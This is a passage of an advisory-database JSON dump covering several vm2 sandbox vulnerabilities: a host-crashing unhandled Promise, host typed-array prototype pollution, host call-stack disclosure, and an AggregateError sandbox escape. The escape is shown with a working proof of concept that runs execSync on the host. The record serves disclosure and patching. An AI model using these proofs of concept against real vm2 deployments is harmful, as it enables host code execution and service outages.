ercentage":0.00712,"epss_percentile":0.52556,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OGhmLWc5OTItamc4Nc4AB7qC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04OGhmLWc5OTItamc4Nc4AB7qC","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.8","vulnerable_version_range":"\u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OGhmLWc5OTItamc4Nc4AB7qC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nanE4LXhtNDctODhyY84AB7qB","url":"https://github.com/advisories/GHSA-gjq8-xm47-88rc","title":"vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process","description":"## Summary\n\nvm2 current head (`v3.11.5`, commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value.\n\nThis is an incomplete-fix variant of the `GHSA-hw58-p9xv-2mjh` unhandled rejection hardening. The `localPromise` constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach `.catch()` or `.then(..., onRejected)`, Node's default unhandled rejection behavior terminates the host process.\n\n## Technical Details\n\n`lib/setup-sandbox.js` hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail:\n\n```js\napply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);\n```\n\nThat only applies to `localPromise` instances created inside the sandbox.\n\nHost-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls `.then`, `.catch`, or `.finally` on a host Promise:\n\n```js\nbridge.setHostPromiseSanitizers(e =\u003e handleException(from(e)), from);\n```\n\nHowever, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior.\n\n`NodeVM` provides an in-repository example of this primitive through the special `events` builtin wrapper. `lib/builtin.js` passes host `EventEmitter.once` into the sandbox:\n\n```js\nonce: EventEmitter.once,\n```\n\nThen `lib/events.js` re-exports it:\n\n```js\nif (host.once) module.exports.once = host.once;\n```\n\nCalling `events.once(ee, 'message')` and then emitting `error` on `ee` returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process.\n\n## Impact\n\nAn attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a `NodeVM` permits the `events` builtin.\n\nFor web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart.\n\n## Affected Package/Versions\n\nConfirmed affected on Node.js `v25.8.0`:\n\n- `v3.10.0`\n- `v3.10.1`\n- `v3.10.2`\n- `v3.10.3`\n- `v3.10.4`\n- `v3.10.5`\n- `v3.11.0`\n- `v3.11.1`\n- `v3.11.2`\n- `v3.11.3`\n- `v3.11.4`\n- `v3.11.5` / current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`\n\nThe final PoV was also reproduced on current head with Node.js `v16.20.2`, `v18.20.8`, `v20.20.2`, `v22.22.3`, `v24.16.0`, and `v25.9.0` using `npx node@\u003cmajor\u003e`. The local workstation default Node.js `v25.8.0` also reproduces.\n\n\n## Configuration Required\n\nThe general VM PoV requires an embedder-exposed host function that can return a rejected host Promise:\n\n```js\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error('host-boom')),\n  },\n});\n```\n\nThe NodeVM variant requires `events` in the builtin allowlist:\n\n```js\nnew NodeVM({ require: { external: false, builtin: ['events'] } });\n```\n\n`events.once()` is exposed by vm2's special `events` builtin wrapper. Node's official API documents `events.once()` as returning a Promise that rejects when the watched emitter emits `error` while waiting for another event.\n\n## Controls\n\n- If sandbox code attaches `.catch(() =\u003e {})` to the returned host Promise, the process survives.\n- If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the `GHSA-hw58` localPromise hardening is active.\n- If sandbox code attaches `.catch(() =\u003e {})` to the `events.once()` Promise, the `NodeVM` process survives.\n- If `NodeVM` does not allow the `events` builtin, the `events.once()` variant does not run and the process survives.\n\n## Disclosure Policy Fit\n\nvm2's security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported `3.x` line.\n\n## Local Proof of Concept\n\nRun from the `oss-zero-day-harness` directory:\n\n```fish\nnode submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js\n```\n\nThe crash-safe PoV executes each case in a child process. A vulnerable result has `status: 1` for the positive cases and `status: 0` for controls.\n\nMinimal VM positive case:\n\n```js\nconst { VM } = require('vm2');\n\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error('host-boom')),\n  },\n});\n\nvm.run('hostReject(); 1');\nsetTimeout(() =\u003e console.log('survived'), 150);\n```\n\nObserved on current head:\n\n```text\nError: host-boom\n    at hostReject (...)\n```\n\nThe process exits before printing `survived`.\n\nMinimal NodeVM builtin variant:\n\n```js\nconst { NodeVM } = require('vm2');\n\nconst vm = new NodeVM({\n  require: { external: false, builtin: ['events'] },\n});\n\nvm.run(`\n  const events = require('events');\n  const ee = new events.EventEmitter();\n  events.once(ee, 'message');\n  ee.emit('error', new Error('event-boom'));\n  module.exports = 'returned';\n`, 'events-pov.js');\n\nsetTimeout(() =\u003e console.log('survived'), 150);\n```\n\nObserved on current head:\n\n```text\nnode:internal/process/promises:332\n    triggerUncaughtException(err, true /* fromPromise */);\nError: event-boom\n```\n\nThe process exits with status `1`.\n\n## Mitigation\n\nApplications can reduce exposure by installing a process-level `unhandledRejection` handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaround, not a library-level fix: without such a handler, current Node's default `--unhandled-rejections=throw` behavior raises the rejection as an uncaught exception and exits the process.\n\n## Suggested Fix Direction\n\nWhen a host function call returns a host-realm Promise across the bridge into sandbox code, attach a benign host-side rejection handler to the raw returned Promise before wrapping it for the sandbox. This should mark the original host Promise handled without changing the value returned to sandbox code or hiding the rejection from sandbox code that later attaches its own `.catch()` / `.then(..., onRejected)`.\n\nRegression tests should cover:\n\n- `VM` with `hostReject: () =\u003e Promise.reject(new Error(...))`; calling `hostReject()` without `.catch()` must not terminate the process.\n- The same call with a sandbox `.catch()` must still deliver a sanitized rejection to the sandbox callback.\n- `NodeVM` with `require.builtin: ['events']`; calling `events.once(ee, 'message')` and then emitting `error` without `.catch()` must not terminate the process.\n- The same `events.once()` call with a sandbox `.catch()` must continue to deliver a sanitized rejection to the sandbox callback.\n- Sandbox-created rejected Promises should continue to be consumed by the existing localPromise hardening.\n\n## Why This Is Not Intended Behavior\n\nvm2 already treats this failure mode as security-relevant. `GHSA-hw58-p9xv-2mjh` was assigned High severity for a sandbox-created unhandled rejection that terminated the host process, and current `setup-sandbox.js` explicitly states that the local Promise swallow tail exists so the host's `unhandledRejection` event never fires.\n\nThis report shows the same availability boundary failure still exists for host-returned Promises:\n\n- the sandbox does not need `child_process`, filesystem, network, `nesting`, or dangerous builtins;\n- the `VM` variant needs only a common embedder pattern: exposing an async host helper to untrusted code;\n- the `NodeVM` variant needs only the documented `events` builtin allowlist;\n- a single sandbox call terminates the whole host process serving all users.\n\nThis is distinct from the documented caveat that `timeout` cannot stop CPU loops. It is also distinct from the README's current async-function / `await using` caveat: this report does not require sandbox `async` syntax, async functions, disposable stacks, or V8 stack-formatting behavior. The issue is specifically that vm2's own bridge returns a host Promise to the sandbox without marking the host Promise handled, while the sandbox-created Promise path does mark rejections handled.\n\nThis is also distinct from host-Promise callback sanitizer escapes. In those chains, sandbox code attaches a callback to a host Promise and then receives or returns a mis-sanitized value. Here, no sandbox Promise callback is required at all; the original host Promise is simply left orphaned after crossing the bridge.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T22:45:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc","https://nvd.nist.gov/vuln/detail/CVE-2026-92954","https://github.com/patriksimek/vm2/commit/5bb37f8b3f0498675a71cfa4df2b408d8ef7d4fb","https://github.com/patriksimek/vm2/releases/tag/v3.11.8","https://www.vulncheck.com/advisories/vm2-3.10.0-through-3.11.5-denial-of-service-via-host-promise","https://github.com/advisories/GHSA-gjq8-xm47-88rc"],"source_kind":"github","identifiers":["GHSA-gjq8-xm47-88rc","CVE-2026-92954"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-16T06:00:37.924Z","epss_percentage":0.00488,"epss_percentile":0.40551,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nanE4LXhtNDctODhyY84AB7qB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nanE4LXhtNDctODhyY84AB7qB","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.8","vulnerable_version_range":"\u003e= 3.10.0, \u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nanE4LXhtNDctODhyY84AB7qB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zdmdmLThtNHEtcTRxcs4AB7qA","url":"https://github.com/advisories/GHSA-3vgf-8m4q-q4qr","title":"vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix","description":"## Summary\n\nvm2's current host-intrinsic prototype protection is incomplete. The fix for `GHSA-vwrp-x96c-mhwq` blocks sandbox writes into classic host intrinsics such as `Object.prototype`, `Array.prototype`, and `Function.prototype`, but current head still lets sandbox code in a default `VM` reach and mutate host `Uint8Array.prototype`, `%TypedArray%.prototype`, and `ArrayBuffer.prototype`.\n\nAfter `VM.run()` returns, normal host typed-array and ArrayBuffer objects observe attacker-controlled properties and methods installed by the sandbox.\n\n## Technical Details\n\nThe existing mitigation relies on `protectedHostObjects` in `lib/bridge.js`. That set is populated from `otherGlobalPrototypes`, which is built from a fixed inventory of classic globals:\n\n```js\nconst globalsList = [\n  'Number', 'String', 'Boolean', 'Date', 'RegExp', 'Map', 'WeakMap',\n  'Set', 'WeakSet', 'Promise', 'Function'\n];\n```\n\nThe inventory omits typed-array and ArrayBuffer intrinsics. Sandbox code can still reuse the host-prototype walking primitive from the prior public advisory:\n\n```js\nconst lookupGetter = ({}).__lookupGetter__;\nconst apply = Buffer.apply;\nconst protoGetter = apply.apply(lookupGetter, [Buffer, ['__proto__']]);\nconst hostBuffer = Buffer.from([1]);\n\nconst hostBufferPrototype = protoGetter.call(hostBuffer);\nconst hostUint8ArrayPrototype = protoGetter.call(hostBufferPrototype);\nconst hostTypedArrayPrototype = protoGetter.call(hostUint8ArrayPrototype);\nconst hostArrayBufferPrototype = protoGetter.call(hostBuffer.buffer);\n```\n\nThose objects are not sandbox-local. Inside the sandbox, `hostUint8ArrayPrototype === Uint8Array.prototype`, `hostTypedArrayPrototype === Object.getPrototypeOf(Uint8Array.prototype)`, and `hostArrayBufferPrototype === ArrayBuffer.prototype` are all false. Because the objects are not in `protectedHostObjects`, bridge `defineProperty` writes are forwarded into the real host objects.\n\nThis is the same guard-coverage boundary as the previous host-intrinsic prototype pollution fix, but with a missing intrinsic family. The bridge already has the correct enforcement shape; the protected inventory is too narrow.\n\n## PoC\n\nPoV: `poc/pov-host-typedarray-arraybuffer-prototype-pollution.js`\n\nCurrent-head output:\n\n```json\n{\n  \"status\": \"completed\",\n  \"vulnerable\": true,\n  \"node\": \"v25.8.0\",\n  \"v8\": \"14.1.146.11-node.20\",\n  \"control\": {\n    \"defineResult\": true,\n    \"sandboxReadsBack\": \"sandbox-only\",\n    \"hostControlAfter\": null\n  },\n  \"exploit\": {\n    \"hostUint8IsSandboxUint8\": false,\n    \"hostTypedArrayIsSandboxTypedArray\": false,\n    \"hostArrayBufferIsSandboxArrayBuffer\": false,\n    \"defineUint8\": true,\n    \"defineTypedArray\": true,\n    \"defineArrayBuffer\": true,\n    \"defineMethod\": true\n  },\n  \"hostEffect\": {\n    \"uint8Marker\": \"polluted-host-uint8array-prototype\",\n    \"typedArrayMarker\": \"polluted-host-typedarray-prototype\",\n    \"arrayBufferMarker\": \"polluted-host-arraybuffer-prototype\",\n    \"methodReturn\": \"sandbox-method-reached-host-uint8array\"\n  }\n}\n```\n\nThe control proves sandbox-local `Uint8Array.prototype` writes remain sandbox-local. The exploit path reaches host prototypes through the bridge and causes host-created objects to observe sandbox-installed properties after `VM.run()` returns.\n\n## Impact\n\nThis is a sandbox boundary violation and host intrinsic prototype pollution. An attacker who can run JavaScript in a default vm2 `VM` can mutate shared host typed-array and ArrayBuffer behavior without `NodeVM`, `require`, wildcard builtins, `nesting: true`, or any host-provided typed-array object.\n\nThe supplied PoV demonstrates integrity and availability impact by installing markers and a method on host prototypes:\n\n- `Uint8Array.prototype`\n- `%TypedArray%.prototype`, which affects typed-array families through the shared typed-array prototype chain\n- `ArrayBuffer.prototype`\n\nThe PoV does not claim direct host command execution or direct confidentiality impact. It is local-only and restores touched descriptors before exit.\n\n## Suggested Fix\n\nExtend the protected host-object inventory and identity/prototype mappings to typed-array and binary-data intrinsics, including at least:\n\n- `%TypedArray%.prototype`\n- `ArrayBuffer.prototype`\n- `SharedArrayBuffer.prototype` when present\n- `DataView.prototype`\n- all concrete typed-array prototypes present in the runtime, including `Uint8Array.prototype`, `Uint8ClampedArray.prototype`, `Int8Array.prototype`, `Uint16Array.prototype`, `Int16Array.prototype`, `Uint32Array.prototype`, `Int32Array.prototype`, `Float16Array.prototype` when present, `Float32Array.prototype`, `Float64Array.prototype`, `BigInt64Array.prototype`, and `BigUint64Array.prototype`\n\nA temporary patched-control that added this intrinsic family to `thisGlobalPrototypes` caused the same PoV's `Reflect.defineProperty()` calls to throw `VMError: Operation not allowed on contextified object`, and no host markers were installed.\n\nThe fix should cover the same host mutation traps used by the existing host-intrinsic protection: `set`, `defineProperty`, `deleteProperty`, and `preventExtensions`. It should not special-case `Buffer`; `Buffer` is only one way to reach the omitted host prototypes.\n\n## Affected Package/Versions\n\nConfirmed on current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92` / `v3.11.5` with Node `v25.8.0` / V8 `14.1.146.11-node.20`.\n\nConfirmed affected after the prior patch: `npm:vm2 \u003e= 3.11.0, \u003c= 3.11.5`.\n\nLocal sweep also reproduces on `v3.10.0` through `v3.10.5`, but that range overlaps the already-published `GHSA-vwrp-x96c-mhwq` range. `v3.9.0` through `v3.9.2` did not produce host-visible pollution in the same local test.\n\n## Why This Is Not Intended Behavior\n\nvm2 documents `VM` as a sandbox for untrusted code without `require`, with only JavaScript built-ins and Node's `Buffer` available by default. The known escape hatches do not explain this issue:\n\n- `require.builtin: ['*']` is a `NodeVM` configuration; this PoV uses default `VM`.\n- `nesting: true` is not enabled or used.\n- The README timeout caveat covers host code operating on objects returned from the sandbox; this PoV mutates host intrinsics and later affects ordinary host-created typed arrays and ArrayBuffers.\n\nThe project's own attack notes state that host-realm intrinsic prototypes should be protected from sandbox writes, while non-intrinsic host objects may remain mutable when intentionally exposed. Typed-array and ArrayBuffer prototypes are host intrinsics, not embedder-owned application objects.\n\n`Buffer` availability explains how the PoV reaches the host prototype chain, but it does not authorize mutation of unrelated host-realm intrinsics. The host effects are observed on new host-created typed arrays and ArrayBuffers after `VM.run()` returns; the host is not invoking an object returned from the sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T22:45:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-3vgf-8m4q-q4qr","https://nvd.nist.gov/vuln/detail/CVE-2026-92953","https://github.com/patriksimek/vm2/commit/92a10fca7b3ca63bb1574b6795540264f6805b30","https://github.com/patriksimek/vm2/releases/tag/v3.11.8","https://www.vulncheck.com/advisories/vm2-3.11.0-through-3.11.7-prototype-pollution-via-typedarray","https://github.com/advisories/GHSA-3vgf-8m4q-q4qr"],"source_kind":"github","identifiers":["GHSA-3vgf-8m4q-q4qr","CVE-2026-92953"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.775Z","updated_at":"2026-10-18T11:01:08.670Z","epss_percentage":0.00501,"epss_percentile":0.41539,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdmdmLThtNHEtcTRxcs4AB7qA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zdmdmLThtNHEtcTRxcs4AB7qA","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.8","vulnerable_version_range":"\u003e= 3.11.0, \u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdmdmLThtNHEtcTRxcs4AB7qA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14OTY1LWZjNzUtanBxaM4AB7p_","url":"https://github.com/advisories/GHSA-x965-fc75-jpqh","title":"vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit","description":"## Summary\nvm2 `3.11.6` (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit `7e3faaf`). Sandbox code that catches a host-wrapped `AggregateError` which is *revisited within a single `handleException` traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in `errors[]`) receives a live, unsanitized host proxy inside the \"sanitized\" `errors[]`, yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.\n\n## Root Cause\n`handleException` (`lib/setup-sandbox.js`) breaks recursion cycles at line 1819 with `if (apply(localWeakMapGet, visited, [e])) return e;` — returning the RAW host carrier on revisit. For plain-`Error` carriers this is safe because `sanitizeErrorCause`/`sanitizeHostOwnProps` seal the host object **in place** on first visit. But `sanitizeAggregateError` (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh `LocalAggregateError` and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via `sanitizedArr[sanitizedArr.length] = handleException(item, visited)` (line 1965) into the \"sanitized\" `errors[]`.\n\n## Impact\nFull host RCE (`child_process.execSync`) and host info disclosure (`process.env`, `.pid`) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.\n\n## Proof of Concept\n```js\nconst {VM} = require('vm2');\nconst vm = new VM({ sandbox: { hostThrow(){\n  const shared = new AggregateError([], 'shared');\n  shared.leak = process;                                  // incidental host ref\n  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice\n}}});\nconsole.log(vm.run(`\n  try { hostThrow(); } catch (e) {\n    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();\n  }`));                                                   // -\u003e uid=1000(...) host RCE\n```\nConfirmed vectors (all return real `id` output): AggregateError self-cycle (`agg.errors=[agg]; agg.leak=process`), duplicate-in-array (`[shared,shared]`), mutual-cycle (`a.errors=[b]; b.errors=[a]`), and nested mutual/duplicated host sub-AggregateError.\n\n## Attack Chain\n1. **Entry** — embedder exposes a host function the sandbox invokes; it throws a host-wrapped `AggregateError` carrying a host reference in a rebuild-surviving slot plus a revisit trigger (`agg.errors=[agg]; agg.leak=process`). *Guard:* none at entry (throwing from an exposed host fn is normal). *Bypass proof:* same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, `docs/ATTACKS.md` Category 38), accepted in scope.\n2. **Caught-exception sanitizer** — sandbox `try{hostThrow()}catch(e){…}`; transformer routes `e` through `handleException`. *Guard:* Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). *Bypass proof:* `handleException(agg)` marks `agg` visited (1820); proto-walk routes to `sanitizeAggregateError` (1865); host-wrapped branch reads `agg.errors` and calls `handleException(agg, visited)` on element 0 (1965); that inner call hits `visited.get(agg)===true` → `return e` (1819) → raw `agg` proxy pushed into `sanitizedArr` → becomes `newAgg.errors[0]`. The rebuild does NOT seal `agg` in place, so the returned proxy is fully live.\n3. **Sink** — `e.errors[0].leak.mainModule.require('child_process').execSync('id')`. *Guard:* bridge `get` wraps host values. *Bypass proof:* the wrap is functional, not capability-restricting; instrumented trace shows `e.errors[0].isProxy===true` yet the chain executes and returns real `uid=1000(ubuntu)...`.\n4. **Impact** — host RCE with host privileges; also `process.env`/`.pid` disclosure.\n\n## Bypass Evidence\nExecuted on node v22.23, vm2 `3.11.6`:\n- Baseline vector `throw new Error('x',{cause:process})` (plain Error `.cause`) → BLOCKED\n- Plain Error own-prop `e.leak=process` (non-cyclic) → BLOCKED\n- Non-cyclic host `AggregateError` w/ own-prop or single host sub-error leak → BLOCKED\n- **AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (`uid=1000(ubuntu)…`)**\n\nEvery non-cyclic shape and the exact baseline `cause` vector are blocked; only the revisited host `AggregateError` leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: `outerLeakType=\"undefined\"` (outer rebuilt safe), `isErrors0Proxy=true` (element 0 is a live host proxy), `rce=uid=1000(ubuntu)…`.\n\n## Affected Versions\n`\u003c= 3.11.6`. The bug exists from the sanitization fix (`7e3faaf`, tag `3.11.6`) onward — an incomplete-fix bypass exists only where the fix exists. `git diff 3.11.6 HEAD -- lib/setup-sandbox.js` is empty (HEAD identical).\n\n## Scope Note\nThis advisory covers the **AggregateError** family only. A `SuppressedError` variant does NOT reproduce (`se.error` returns undefined; RCE blocked) and is excluded.\n\n## Suggested Fix\nOn the cycle short-circuit (line 1819), return the memoized sandbox-realm *replacement* (keyed in `visited`) rather than the raw carrier; OR seal host-wrapped `AggregateError`/`SuppressedError` carriers in place *before* recursing into sub-errors, mirroring the plain-carrier `sanitizeHostOwnProps` invariant.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T22:38:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.5,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-x965-fc75-jpqh","https://nvd.nist.gov/vuln/detail/CVE-2026-92934","https://github.com/patriksimek/vm2/commit/c8c232530b860cfecf6f94bc8d0d0890aa381460","https://github.com/patriksimek/vm2/releases/tag/v3.11.8","https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-rce-via-aggregateerror","https://github.com/advisories/GHSA-x965-fc75-jpqh"],"source_kind":"github","identifiers":["GHSA-x965-fc75-jpqh","CVE-2026-92934"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.743Z","epss_percentage":0.00762,"epss_percentile":0.53513,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OTY1LWZjNzUtanBxaM4AB7p_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14OTY1LWZjNzUtanBxaM4AB7p_","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.8","vulnerable_version_range":"\u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OTY1LWZjNzUtanBxaM4AB7p_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yMjczLWh4dmotZnhocM4AB7p-","url":"https://github.com/advisories/GHSA-r273-hxvj-fxhp","title":"vm2: util.getCallSites() bypasses GHSA-v27g-jcqj-v8rw host-frame redaction, leaks host call stack","description":"### Summary\n\nNodeVM exposes the host `util` module to the sandbox through an unfiltered shallow copy (`Object.assign({}, util)`). On Node.js \u003e= 22.9 this hands sandboxed code `util.getCallSites()`, a programmatic stack-introspection API that returns the host process's full call stack — absolute file paths, function names, and line numbers — including vm2 bridge internals and the embedding application's entrypoint. This bypasses the host-frame redaction established in GHSA-v27g-jcqj-v8rw, which only covers the `Error.prepareStackTrace` channel.\n\n### Details\n\n- Root cause — `defaultBuiltinLoaderUtil` copies every static member of the host `util` module and wraps the copy in `vm.readonly()` without filtering any member, so newly added Node APIs land in the sandbox automatically:\n  https://github.com/patriksimek/vm2/blob/7a1f5100b96f48d34e0fe104ab37c0acc5944f92/lib/builtin.js#L25-L38\n- Second equivalent channel — the deprecated `sys` builtin (an alias of host `util`) goes through the generic builtin loader `vm.readonly(hostRequire(key))`, which also carries `getCallSites`:\n  https://github.com/patriksimek/vm2/blob/7a1f5100b96f48d34e0fe104ab37c0acc5944f92/lib/builtin.js#L230\n- Bypassed protection — GHSA-v27g's redaction (`isHostFrameFileName` + `applyCallSiteGetters`) rewrites host-frame metadata getters to `null` only when the *sandbox realm* formats an error stack:\n  https://github.com/patriksimek/vm2/blob/7a1f5100b96f48d34e0fe104ab37c0acc5944f92/lib/setup-sandbox.js#L818-L870\n\n`util.getCallSites()` produces its data host-side and never passes through that formatter, so frames such as `lib/bridge.js @apply` (the bridge apply trap), `lib/nodevm.js @run`, the embedder's own entry file, and `node:internal/*` frames reach the sandbox verbatim as data properties (`scriptName`, `functionName`, `lineNumber`, `columnNumber`, `scriptId`). A repository-wide grep (source, docs/ATTACKS.md, CHANGELOG, tests) shows no occurrence of `getCallSites`; the member was never considered.\n\n### PoC\n\nPrerequisites: Node.js \u003e= 22.9 (verified on v22.23.1); run `npm ci --no-audit --no-fund` at the repository root.\n\nOne-line reproducer (prints `/workspace/repo/lib/bridge.js`, i.e. a vm2-internal host path):\n\n    node -e \"const {NodeVM}=require('/workspace/repo'); console.log(new NodeVM({require:{builtin:['util']}}).run(\\\"module.exports = require('util').getCallSites(4)[0].scriptName\\\"))\"\n\nObserved frames inside the sandbox, with both `require: { builtin: ['util'] }` and `require: { builtin: ['*'] }`:\n\n    /workspace/repo/lib/bridge.js @apply:1664\n    vm.js @:5\n    /workspace/repo/lib/bridge.js @apply:1664\n    /workspace/repo/lib/nodevm.js @run:563\n    /workspace/out/\u003cembedder entrypoint\u003e.js @main:29\n    node:internal/modules/cjs/loader @:1781\n    node:internal/modules/cjs/loader @:1913\n    ... (8 node:internal/* frames in total)\n\n### Impact\n\nInformation disclosure. Any NodeVM configuration that allows the `util` (or `sys`) builtin — including the wildcard `builtin: ['*']`, both typical configurations from the README — lets untrusted sandboxed code programmatically read the host call stack: the vm2 installation path, the embedding application's file layout and entrypoint, and internal function names and line numbers. This is the same information category redacted by GHSA-v27g-jcqj-v8rw (Defense Invariant #5 in docs/ATTACKS.md) and breaks defense-in-depth assumptions of embedders that rely on host frames being invisible to the sandbox. The API returns only strings/numbers (no host object references); no escalation to code execution was identified.\n\nSuggested fix: filter members in `defaultBuiltinLoaderUtil` (allowlist, or at minimum drop `getCallSites`), apply the same treatment to the generic loader path used by `sys`, and extend the GHSA-v27g regression tests to cover programmatic stack-introspection APIs.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-05T22:37:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-r273-hxvj-fxhp","https://nvd.nist.gov/vuln/detail/CVE-2026-92933","https://github.com/patriksimek/vm2/commit/e10bd2f539ab1a90c2d37466e6aae740d4a1ce2a","https://github.com/patriksimek/vm2/releases/tag/v3.11.8","https://www.vulncheck.com/advisories/vm2-before-3.11.8-information-disclosure-via-util-getcallsites","https://github.com/advisories/GHSA-r273-hxvj-fxhp"],"source_kind":"github","identifiers":["GHSA-r273-hxvj-fxhp","CVE-2026-92933"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-16T06:00:37.928Z","epss_percentage":0.00372,"epss_percentile":0.2953,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yMjczLWh4dmotZnhocM4AB7p-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yMjczLWh4dmotZnhocM4AB7p-","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.8","vulnerable_version_range":"\u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yMjczLWh4dmotZnhocM4AB7p-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Nm00LWNocjktY2c5N84AB7p8","url":"https://github.com/advisories/GHSA-x6m4-chr9-cg97","title":"vm2 leaks absolute host filesystem paths to sandbox code via error stack formatting","description":"## Summary\n\nAttacker-controlled code can trigger a host-realm syntax error and read its stack through the vm2 bridge. Host-realm stack formatting bypasses the sandbox-side redaction, so the returned value 